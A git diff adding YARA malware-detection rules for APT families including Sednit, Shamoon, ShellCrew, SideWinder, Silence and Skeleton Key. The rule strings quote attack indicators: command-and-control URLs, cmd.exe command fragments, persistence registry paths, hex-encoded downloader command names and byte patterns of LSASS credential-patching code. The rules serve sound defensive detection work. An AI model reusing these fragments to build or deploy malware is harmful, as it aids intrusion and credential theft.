+		reference1 = "http://goo.gl/MUUfjv"
+		reference2 = "http://goo.gl/WXUQcP"
+		date = "2015/02/28"
+		hash1 = "8d168092d5601ebbaed24ec3caeef7454c48cf21366cd76560755eb33aff89e9"
+		hash2 = "d4be6c9117db9de21138ae26d1d0c3cfb38fd7a19fa07c828731fa2ac756ef8d"
+		hash3 = "3fe208273288fc4d8db1bf20078d550e321d9bc5b9ab80c93d79d2cb05cbf8c2"
+		id = "f7867e65-567f-530f-83d4-b5126021e523"
+	strings:
+		/* Sample 1 */
+		$s0 = "http://142.91.76.134/p.dat" fullword ascii
+		$s1 = "HttpDump 1.1" fullword ascii
+
+		/* Sample 2 */
+		$s3 = "SecureInput .exe" fullword wide
+		$s4 = "http://extcitrix.we11point.com/vpn/index.php?ref=1" fullword ascii
+
+		/* Sample 3 */
+		$s5 = "%SystemRoot%\\System32\\svchost.exe -k msupdate" fullword ascii
+		$s6 = "ServiceMaix" fullword ascii
+
+		/* Certificate and Keywords */
+		$x1 = "Management Support Team1" fullword ascii
+		$x2 = "DTOPTOOLZ Co.,Ltd.0" fullword ascii
+		$x3 = "SEOUL1" fullword ascii
+	condition:
+		( 1 of ($s*) and 2 of ($x*) ) or
+		( 3 of ($x*) )
+}
diff --git a/yara-Neo23x0/apt_scarcruft.yar b/yara-Neo23x0/apt_scarcruft.yar
new file mode 100644
index 0000000..64353e1
--- /dev/null
+++ b/yara-Neo23x0/apt_scarcruft.yar
@@ -0,0 +1,15 @@
+
+rule Scarcruft_malware_Feb18_1 {
+   meta:
+      description = "Detects Scarcruft malware - February 2018"
+      author = "Florian rootpath"
+      reference = "https://twitter.com/craiu/status/959477129795731458"
+      date = "2018-02-03"
+      score = 90
+      id = "43a87f2a-cf60-5035-8d40-c360a789a1ac"
+   strings:
+      $x1 = "d:\\HighSchool\\version 13\\2ndBD\\T+M\\" ascii
+      $x2 = "cmd.exe /C ping 0.1.1.2" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them
+}
diff --git a/yara-Neo23x0/apt_seaduke_unit42.yar b/yara-Neo23x0/apt_seaduke_unit42.yar
new file mode 100644
index 0000000..62e5eb7
--- /dev/null
+++ b/yara-Neo23x0/apt_seaduke_unit42.yar
@@ -0,0 +1,28 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-14
+	Identifier: SeaDuke
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule SeaDuke_Sample {
+	meta:
+		description = "SeaDuke Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/MJ0c2M"
+		date = "2015-07-14"
+		score = 70
+		hash = "d2e570129a12a47231a1ecb8176fa88a1bf415c51dabd885c513d98b15f75d4e"
+		id = "011a303b-b051-519f-9687-668c9bcd15ca"
+	strings:
+		$s0 = "bpython27.dll" fullword ascii
+		$s1 = "email.header(" ascii /* PEStudio Blacklist: strings */
+		$s2 = "LogonUI.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Crypto.Cipher.AES(" ascii /* PEStudio Blacklist: strings */
+		$s4 = "mod is NULL - %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
diff --git a/yara-Neo23x0/apt_sednit_delphidownloader.yar b/yara-Neo23x0/apt_sednit_delphidownloader.yar
new file mode 100644
index 0000000..762e594
--- /dev/null
+++ b/yara-Neo23x0/apt_sednit_delphidownloader.yar
@@ -0,0 +1,62 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-04-24
+   Identifier: Sednit Delphi Downloader
+   Reference: https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule MAL_Sednit_DelphiDownloader_Apr18_2 {
+   meta:
+      description = "Detects malware from Sednit Delphi Downloader report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"
+      date = "2018-04-24"
+      hash1 = "53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda"
+      hash2 = "657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4"
+      hash3 = "5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182"
+      hash4 = "0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f"
+      hash5 = "72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3"
+      id = "6ccd2f21-de44-52fb-912e-d3ecbe57e389"
+   strings:
+      $s1 = "2D444F574E4C4F41445F53544152542D" ascii /* hex encoded string '-DOWNLOAD_START-' */
+      $s2 = "55504C4F41445F414E445F455845435554455F46494C45" ascii /* hex encoded string 'UPLOAD_AND_EXECUTE_FILE' */
+      $s3 = "4D6F7A696C6C612076352E31202857696E646F7773204E5420362E313B2072763A362E302E3129204765636B6F2F32303130303130312046697265666F782F36" ascii /* hex encoded string 'Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1' */
+      $s4 = "41646F62654461696C79557064617465" ascii /* hex encoded string 'AdobeDailyUpdate' */
+      $s5 = "53595354454D494E464F2026205441534B4C495354" ascii /* hex encoded string 'SYSTEMINFO & TASKLIST' */
+      $s6 = "6373727376632E657865" ascii /* hex encoded string 'csrsvc.exe' */
+      $s7 = "536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E" ascii /* hex encoded string 'Software\Microsoft\Windows\CurrentVersion\Run' */
+      $s8 = "5C536F6674776172655C4D6963726F736F66745C57696E646F7773204E545C43757272656E7456657273696F6E" ascii /* hex encoded string '\Software\Microsoft\Windows NT\CurrentVersion' */
+      $s9 = "5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E" ascii /* hex encoded string '\Software\Microsoft\Windows\CurrentVersion' */
+      $s0 = "2D444F574E4C4F41445F53544152542D" ascii /* hex encoded string '-DOWNLOAD_START-' */
+
+      $fp1 = "<key name=\"profiles\">"
+   condition:
+      filesize < 4000KB and 1 of ($s*) and not 1 of ($fp*)
+}
+
+rule MAL_Sednit_DelphiDownloader_Apr18_3 {
+   meta:
+      description = "Detects malware from Sednit Delphi Downloader report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"
+      date = "2018-04-24"
+      modified = "2023-01-06"
+      hash1 = "ecb835d03060db1ea3496ceca2d79d7c4c6c671c9907e0b0e73bf8d3371fa931"
+      hash2 = "e355a327479dcc4e71a38f70450af02411125c5f101ba262e8df99f9f0fef7b6"
+      id = "2200fbdc-3600-51d4-a273-dc7fd4127c05"
+   strings:
+      $ = "Processor Level: " fullword ascii
+      $ = "CONNECTION ERROR" fullword ascii
+      $ = "FILE_EXECUTE_AND_KILL_MYSELF" ascii
+      $ = "-KILL_PROCESS-" ascii
+      $ = "-FILE_EXECUTE-" ascii
+      $ = "-DOWNLOAD_ERROR-" ascii
+      $ = "CMD_EXECUTE" fullword ascii
+      $ = "\\Interface\\Office\\{31E12FE8-937F-1E32-871D-B1C9AOEF4D4}\\" ascii
+      $ = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and 3 of them
+}
diff --git a/yara-Neo23x0/apt_servantshell.yar b/yara-Neo23x0/apt_servantshell.yar
new file mode 100644
index 0000000..f635ebd
--- /dev/null
+++ b/yara-Neo23x0/apt_servantshell.yar
@@ -0,0 +1,17 @@
+rule Servantshell {
+   meta:
+      author = "Arbor Networks ASERT Nov 2015"
+      description = "Detects Servantshell malware"
+      date = "2017-02-02"
+      reference = "https://tinyurl.com/jmp7nrs"
+      score = 70
+      id = "f41e9191-0be1-59f7-9be4-e39c8a37b2c5"
+   strings:
+      $string1 = "SelfDestruction.cpp"
+      $string2 = "SvtShell.cpp"
+      $string3 = "InitServant"
+      $string4 = "DeinitServant"
+      $string5 = "CheckDT"
+   condition:
+      uint16(0) == 0x5a4d and all of them
+}
diff --git a/yara-Neo23x0/apt_shadowpad.yar b/yara-Neo23x0/apt_shadowpad.yar
new file mode 100644
index 0000000..a74774b
--- /dev/null
+++ b/yara-Neo23x0/apt_shadowpad.yar
@@ -0,0 +1,35 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-15
+   Identifier: ShadowPad
+   Reference: https://securelist.com/shadowpad-in-corporate-networks/81432/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule ShadowPad_nssock2 {
+   meta:
+      description = "Detects malicious nssock2.dll from ShadowPad incident - file nssock2.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/shadowpad-in-corporate-networks/81432/"
+      date = "2017-08-15"
+      hash1 = "462a02a8094e833fd456baf0a6d4e18bb7dab1a9f74d5f163a8334921a4ffde8"
+      hash2 = "c45116a22cf5695b618fcdf1002619e8544ba015d06b2e1dbf47982600c7545f"
+      hash3 = "696be784c67896b9239a8af0a167add72b1becd3ef98d03e99207a3d5734f6eb"
+      hash4 = "515d3110498d7b4fdb451ed60bb11cd6835fcff4780cb2b982ffd2740e1347a0"
+      hash5 = "536d7e3bd1c9e1c2fd8438ab75d6c29c921974560b47c71686714d12fb8e9882"
+      hash6 = "637fa40cf7dd0252c87140f7895768f42a370551c87c37a3a77aac00eb17d72e"
+      id = "47ecc7f8-065a-558b-9bba-300fd28f4eab"
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 500KB and
+        (
+           pe.imphash() == "c67de089f2009b21715744762fc484e8" or
+           pe.imphash() == "11522f7d4b2fc05acba8f534ca1b828a"
+        )
+      )
+}
diff --git a/yara-Neo23x0/apt_shamoon.yar b/yara-Neo23x0/apt_shamoon.yar
new file mode 100644
index 0000000..eb70d1d
--- /dev/null
+++ b/yara-Neo23x0/apt_shamoon.yar
@@ -0,0 +1,13 @@
+rule CrowdStrike_Shamoon_DroppedFile { 
+	meta:
+		description = "Rule to detect Shamoon malware http://goo.gl/QTxohN"
+		reference = "http://www.rsaconference.com/writable/presentations/file_upload/exp-w01-hacking-exposed-day-of-destruction.pdf"
+		id = "b350f1b1-db73-574b-957b-34e5a84f68b0"
+	strings:
+		$testn123 = "test123" wide
+		$testn456 = "test456" wide
+		$testn789 = "test789" wide
+		$testdomain = "testdomain.com" wide $pingcmd = "ping -n 30 127.0.0.1 >nul" wide
+	condition:
+		(any of ($testn*) or $pingcmd) and $testdomain
+}
diff --git a/yara-Neo23x0/apt_shamoon2.yar b/yara-Neo23x0/apt_shamoon2.yar
new file mode 100644
index 0000000..12934de
--- /dev/null
+++ b/yara-Neo23x0/apt_shamoon2.yar
@@ -0,0 +1,75 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-12-01
+   Identifier: Shamoon 2.0
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Shamoon2_Wiper {
+   meta:
+      description = "Detects Shamoon 2.0 Wiper Component"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/jKIfGB"
+      date = "2016-12-01"
+      score = 70
+      hash1 = "c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a"
+      hash2 = "128fa5815c6fee68463b18051c1a1ccdf28c599ce321691686b1efa4838a2acd"
+      id = "6660a64c-daa4-59e6-aa65-55194cac600c"
+   strings:
+      $a1 = "\\??\\%s\\System32\\%s.exe" fullword wide
+      $x1 = "IWHBWWHVCIDBRAFUASIIWURRTWRTIBIVJDGWTRRREFDEAEBIAEBJGGCSVUHGVJUHADIEWAFGWADRUWDTJBHTSITDVVBCIDCWHRHVTDVCDESTHWSUAEHGTWTJWFIRTBRB" wide
+      $s1 = "UFWYNYNTS" fullword wide
+      $s2 = "\\\\?\\ElRawDisk" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them ) or ( 3 of them )
+}
+
+rule Shamoon2_ComComp {
+   meta:
+      description = "Detects Shamoon 2.0 Communication Components"
+      author = "Florian Roth (Nextron Systems) (with Binar.ly)"
+      reference = "https://goo.gl/jKIfGB"
+      date = "2016-12-01"
+      score = 70
+      hash1 = "61c1c8fc8b268127751ac565ed4abd6bdab8d2d0f2ff6074291b2d54b0228842"
+      id = "72068264-4f71-59fb-b3d8-938285ec8c7f"
+   strings:
+      $s1 = "mkdir %s%s > nul 2>&1" fullword ascii
+      $s2 = "p[%s%s%d.%s" fullword ascii
+
+      $op1 = { 04 32 cb 88 04 37 88 4c 37 01 88 54 37 02 83 c6 }
+      $op2 = { c8 02 d2 c0 e9 06 02 d2 24 3f 02 d1 88 45 fb 8d }
+      $op3 = { 0c 3b 40 8d 4e 01 47 3b c1 7c d8 83 fe 03 7d 1c }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and ( all of ($s*) or all of ($op*) )
+}
+
+rule EldoS_RawDisk {
+   meta:
+      description = "EldoS Rawdisk Device Driver (Commercial raw disk access driver - used in Operation Shamoon 2.0)"
+      author = "Florian Roth (Nextron Systems) (with Binar.ly)"
+      reference = "https://goo.gl/jKIfGB"
+      date = "2016-12-01"
+      modified = "2023-01-27"
+      score = 50
+      hash1 = "47bb36cd2832a18b5ae951cf5a7d44fba6d8f5dca0a372392d40f51d1fe1ac34"
+      hash2 = "394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b"
+      id = "8a43f425-86b7-5a05-b7c3-13c78aa905f8"
+   strings:
+      $s1 = "g\\system32\\" wide
+      $s2 = "ztvttw" fullword wide
+      $s3 = "lwizvm" fullword ascii
+      $s4 = "FEJIKC" fullword ascii
+      $s5 = "INZQND" fullword ascii
+      $s6 = "IUTLOM" fullword wide
+      $s7 = "DKFKCK" fullword ascii
+
+      $op1 = { 94 35 77 73 03 40 eb e9 }
+      $op2 = { 80 7c 41 01 00 74 0a 3d }
+      $op3 = { 74 0a 3d 00 94 35 77 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 4 of them )
+}
diff --git a/yara-Neo23x0/apt_sharptongue.yar b/yara-Neo23x0/apt_sharptongue.yar
new file mode 100644
index 0000000..a264e9c
--- /dev/null
+++ b/yara-Neo23x0/apt_sharptongue.yar
@@ -0,0 +1,46 @@
+rule APT_SharpTongue_JS_SharpExt_Chrome_Extension : SharpTongue {
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-09-14"
+        description = "A malicious Chrome browser extention used by the SharpTongue threat actor to steal mail data from a victim"
+        reference = "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/"
+        hash1 = "1c9664513fe226beb53268b58b11dacc35b80a12c50c22b76382304badf4eb00"
+        hash2 = "6025c66c2eaae30c0349731beb8a95f8a5ba1180c5481e9a49d474f4e1bb76a4"
+        hash3 = "6594b75939bcdab4253172f0fa9066c8aee2fa4911bd5a03421aeb7edcd9c90c"
+        memory_suitable = 1
+        score = 85
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        id = "61b5176a-ff73-5fce-bc70-c9e09bb5afed"
+    strings:
+        $s1 = "\"mode=attach&name=\"" ascii
+        $s2 = "\"mode=new&mid=\"" ascii
+        $s3 = "\"mode=attlist\"" ascii
+        $s4 = "\"mode=list\"" ascii
+        $s5 = "\"mode=domain\"" ascii
+        $s6 = "\"mode=black\"" ascii
+        $s7 = "\"mode=newD&d=\"" ascii
+
+        $mark1 = "chrome.runtime.onMessage.addListener" ascii
+        $mark2 = "chrome.webNavigation.onCompleted.addListener" ascii
+
+        $enc1 = "function BSue(string){" ascii
+        $enc2 = "function BSE(input){" ascii
+        $enc3 = "function bin2hex(byteArray)" ascii
+
+        $xhr1 = ".send(\"mode=cd1" ascii
+        $xhr2 = ".send(\"mode=black" ascii
+        $xhr3 = ".send(\"mode=domain" ascii
+        $xhr4 = ".send(\"mode=list" ascii
+
+        $manifest1 = "\"description\":\"advanced font\"," ascii
+        $manifest2 = "\"scripts\":[\"bg.js\"]" ascii
+        $manifest3 = "\"devtools_page\":\"dev.html\"" ascii
+    condition:
+        (
+            5 of ($s*) and
+            all of ($mark*)
+        ) or
+        all of ($enc*) or
+        3 of ($xhr*) or
+        2 of ($manifest*)
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_shellcrew_streamex.yar b/yara-Neo23x0/apt_shellcrew_streamex.yar
new file mode 100644
index 0000000..7d6e4b4
--- /dev/null
+++ b/yara-Neo23x0/apt_shellcrew_streamex.yar
@@ -0,0 +1,98 @@
+/*
+   Yara Rule Set
+   Author: Cylance
+   Date: 2017-02-09
+   Identifier: StreamEx Shell Crew (Cylance Report)
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+
+rule StreamEx_ShellCrew {
+   meta:
+      description = "Detects a "
+      author = "Cylance"
+      reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
+      date = "2017-02-09"
+      score = 80
+      id = "217077bb-71b7-5cbf-8adf-68a16688c415"
+   strings:
+      $a = "0r+8DQY97XGB5iZ4Vf3KsEt61HLoTOuIqJPp2AlncRCgSxUWyebhMdmzvFjNwka="
+      $b = {34 ?? 88 04 11 48 63 C3 48 FF C1 48 3D D8 03 00 00}
+      $bb = {81 86 ?? ?? 00 10 34 ?? 88 86 ?? ?? 00 10 46 81 FE D8 03 00 00}
+      $c = "greendll"
+      $d = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" wide
+      $f = {26 5E 25 24 23 91 91 91 91}
+      $g = "D:\\pdb\\ht_d6.pdb"
+   condition:
+      $a or $b or $bb or ($c and $d) or $f or $g
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-02-10
+   Identifier: ShellCrew StreamEx
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ShellCrew_StreamEx_1 {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
+      date = "2017-02-10"
+      modified = "2022-12-21"
+      hash1 = "81f411415aefa5ad7f7ed2365d9a18d0faf33738617afc19215b69c23f212c07"
+      id = "26b4cac0-3f2b-5637-86f5-16b7f8afa0e6"
+   strings:
+      $x1 = "cmd.exe /c  \"%s\"" fullword wide
+      $s3 = "uac\\bin\\install_test.pdb" ascii
+      $s5 = "uncompress error:%d %s" fullword ascii
+      $s7 = "%s\\AdobeBak\\Proc.dat" fullword wide
+      $s8 = "e:\\workspace\\boar" fullword ascii
+      $s12 = "$\\data.ini" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and 4 of them )
+}
+
+rule ShellCrew_StreamEx_1_msi {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
+      date = "2017-02-10"
+      hash1 = "8c9048e2f5ea2ef9516cac06dc0fba8a7e97754468c0d9dc1e5f7bce6dbda2cc"
+      id = "8cf5dad5-0737-56bf-8cef-7bcf7e7e5a78"
+   strings:
+      $x1 = "msi.dll.eng" fullword wide
+
+      $s2 = "ahinovx" fullword ascii
+      $s3 = "jkpsxy47CDEMNSTYbhinqrwx56" fullword ascii
+      $s4 = "PVYdejmrsy12" fullword ascii
+      $s6 = "FLMTUZaijkpsxy45CD" fullword ascii
+      $s7 = "afhopqvw34ABIJOPTYZehmo" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 20KB and 3 of them )
+}
+
+rule ShellCrew_StreamEx_1_msi_dll {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
+      date = "2017-02-10"
+      hash1 = "883108119d2f4db066fa82e37aa49ecd2dbdacda67eb936b96720663ed6565ce"
+      hash2 = "5311f862d7c824d13eea8293422211e94fb406d95af0ae51358accd4835aaef8"
+      hash3 = "191cbeffa36657ab1ef3939da023cacbc9de0285bbe7775069c3d6e18b372c3f"
+      id = "56586e0b-010a-5ad5-8822-5d370475aa06"
+   strings:
+      $s1 = "NDOGDUA" fullword ascii
+      $s2 = "NsrdsrN" fullword ascii
+   condition:
+      ( uint16(0) == 0x4d9d and filesize < 300KB and all of them )
+}
diff --git a/yara-Neo23x0/apt_sidewinder.yar b/yara-Neo23x0/apt_sidewinder.yar
new file mode 100644
index 0000000..e2f5fb7
--- /dev/null
+++ b/yara-Neo23x0/apt_sidewinder.yar
@@ -0,0 +1,50 @@
+
+/* modified by Florian Roth */
+
+rule APT_SideWinder_NET_Loader_Aug_2020_1 {
+   meta:
+      description = "Detected the NET loader used by SideWinder group (August 2020)"
+      author = "Arkbird_SOLG"
+      reference = "https://twitter.com/ShadowChasing1/status/1297902086747598852"
+      date = "2020-08-24"
+      hash1 = "4a0947dd9148b3d5922651a6221afc510afcb0dfa69d08ee69429c4c75d4c8b4"
+      id = "61d96e2a-3a43-586f-85bc-a2c53b1318e6"
+   strings:
+      $a1 = "DUSER.dll" fullword wide
+      
+      $s1 = "UHJvZ3JhbQ==" fullword wide // base64 encoded string -> 'Program' -> Invoke call decoded PE
+      $s2 = "U3RhcnQ=" fullword wide 
+      $s3 = ".tmp           " fullword wide
+      $s4 = "FileRipper" fullword ascii
+      $s5 = "copytight @" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 4KB and $a1 and 3 of ($s*)
+}
+
+rule APT_MAL_SideWinder_implant {
+   meta:
+      author = "AT&T Alien Labs"
+      description = "Detects SideWinder final payload"
+      hash1 = "c568238dcf1e30d55a398579a4704ddb8196b685"
+      reference = "https://cybersecurity.att.com/blogs/labs-research/a-global-perspective-of-the-sidewinder-apt"
+      id = "3a420c9c-7821-5405-8d4d-6931d0f311ba"
+   strings:
+      $code= { 1B 30 05 00 C7 00 00 00 00 00 00 00 02 28 03 00
+               00 06 7D 12 00 00 04 02 02 FE 06 23 00 00 06 73
+               5B 00 00 0A 14 20 88 13 00 00 15 73 5C 00 00 0A
+               7D 13 00 00 04 02 02 FE 06 24 00 00 06 73 5B 00
+               00 0A 14 20 88 13 00 00 15 73 5C 00 00 0A 7D 15
+               00 00 04 02 7B 12 00 00 04 6F 0E 00 00 06 2C 1D
+               02 28 1F 00 00 06 02 7B 12 00 00 04 16 6F 0F 00
+               00 06 02 7B 12 00 00 04 6F 06 00 00 06 02 7B 12
+               00 00 04 6F 10 00 00 06 2C 23 02 28 20 00 00 06
+               02 28 21 00 00 06 02 7B 12 00 00 04 16 }
+
+      $strings = { 
+         2E 00 73 00 69 00 66 00 00 09 2E 00 66 00 6C 00
+         63 00 00 1B 73 00 65 00 6C 00 65 00 63 00 74 00
+         65 00 64 00 46 00 69 00 6C 00 65 00 73
+      }
+   condition:
+      uint16(0) == 0x5A4D and all of them
+}
diff --git a/yara-Neo23x0/apt_silence.yar b/yara-Neo23x0/apt_silence.yar
new file mode 100644
index 0000000..fab9de6
--- /dev/null
+++ b/yara-Neo23x0/apt_silence.yar
@@ -0,0 +1,64 @@
+import "pe"
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-11-01
+   Identifier: Silence
+   Reference: https://securelist.com/the-silence/83009/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Silence_malware_1 {
+   meta:
+      description = "Detects malware sample mentioned in the Silence report on Securelist"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/the-silence/83009/"
+      date = "2017-11-01"
+      hash1 = "f24b160e9e9d02b8e31524b8a0b30e7cdc66dd085e24e4c58240e4c4b6ec0ac2"
+      id = "f932e3fe-a2d7-55b7-b581-88c0ed45723e"
+   strings:
+      $x1 = "adobeudp.exe" fullword wide
+      $x2 = "%s\\adobeudp.exeZone.Identifier" fullword ascii
+      $x3 = "%s\\igfxpers_%08x.exe" fullword ascii
+      $x4 = "%s\\adobeudp.exe" fullword ascii
+
+      $s1 = "SoftWare\\MicroSoft\\Windows\\CurrentVersion\\Run" fullword ascii
+      $s2 = "Copyright (C)  1999 - 2017" fullword wide
+      $s3 = "%sget.php?name=%x" fullword ascii
+      $s4 = "VNASSRUNXYC" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+        pe.imphash() == "e03edb9bd7cbe200dc59f361db847f8a" or
+        1 of ($x*) or
+        3 of them
+      )
+}
+
+rule Silence_malware_2 {
+   meta:
+      description = "Detects malware sample mentioned in the Silence report on Securelist"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/the-silence/83009/"
+      date = "2017-11-01"
+      hash1 = "75b8f534b2f56f183465ba2b63cfc80b7d7d1d155697af141447ec7144c2ba27"
+      id = "e4c7d753-fd04-5e11-9960-1ad238039c11"
+   strings:
+      $x1 = "\\ScreenMonitorService\\Release\\smmsrv.pdb" ascii
+      $x2 = "\\\\.\\pipe\\{73F7975A-A4A2-4AB6-9121-AECAE68AABBB}" fullword ascii
+
+      $s1 = "My Sample Service: ServiceMain: SetServiceStatus returned error" fullword ascii
+      $s2 = "\\mss.exe" ascii
+      $s3 = "\\out.dat" ascii
+      $s4 = "\\mss.txt" ascii
+      $s5 = "Default monitor" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and (
+            pe.imphash() == "69f3ec173efb6fd3ab5f79e0f8051335" or
+            ( 1 of ($x*) or 3 of them )
+         )
+      ) or ( 5 of them )
+}
diff --git a/yara-Neo23x0/apt_skeletonkey.yar b/yara-Neo23x0/apt_skeletonkey.yar
new file mode 100644
index 0000000..3191176
--- /dev/null
+++ b/yara-Neo23x0/apt_skeletonkey.yar
@@ -0,0 +1,46 @@
+/* SKELETON KEY ---------------------------------------------------------------------------- */
+
+rule skeleton_key_patcher
+{
+	meta:
+		description = "Skeleton Key Patcher from Dell SecureWorks Report http://goo.gl/aAk3lN"
+		author = "Dell SecureWorks Counter Threat Unit"
+		reference = "http://goo.gl/aAk3lN"
+		date = "2015/01/13"
+		score = 70
+		id = "a2805cce-7605-58a4-85ce-9dff5586858e"
+	strings:
+		$target_process = "lsass.exe" wide
+		$dll1 = "cryptdll.dll"
+		$dll2 = "samsrv.dll"
+
+		$name = "HookDC.dll"
+
+		$patched1 = "CDLocateCSystem"
+		$patched2 = "SamIRetrievePrimaryCredentials"
+		$patched3 = "SamIRetrieveMultiplePrimaryCredentials"
+	condition:
+		all of them
+}
+
+rule skeleton_key_injected_code
+{
+	meta:
+		description = "Skeleton Key injected Code http://goo.gl/aAk3lN"
+		author = "Dell SecureWorks Counter Threat Unit"
+		reference = "http://goo.gl/aAk3lN"
+		date = "2015/01/13"
+		score = 70
+		id = "29daaffa-cd9d-55d3-b79d-cde1c76e9e45"
+	strings:
+		$injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 00 48 81 C4 58 01 00 00 C3 }
+
+		$patch_CDLocateCSystem = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 8B F1 E8 ?? ?? ?? ?? 48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 }
+
+		$patch_SamIRetrievePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ?? ?? ?? ?? 4C 8B CF 4C 8B C6 48 8B D3 48 8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+
+		$patch_SamIRetrieveMultiplePrimaryCredential  = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ?? ?? ?? ?? 44 8B CF 4C 8B C3 8B D6 8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+
+	condition:
+		any of them
+}
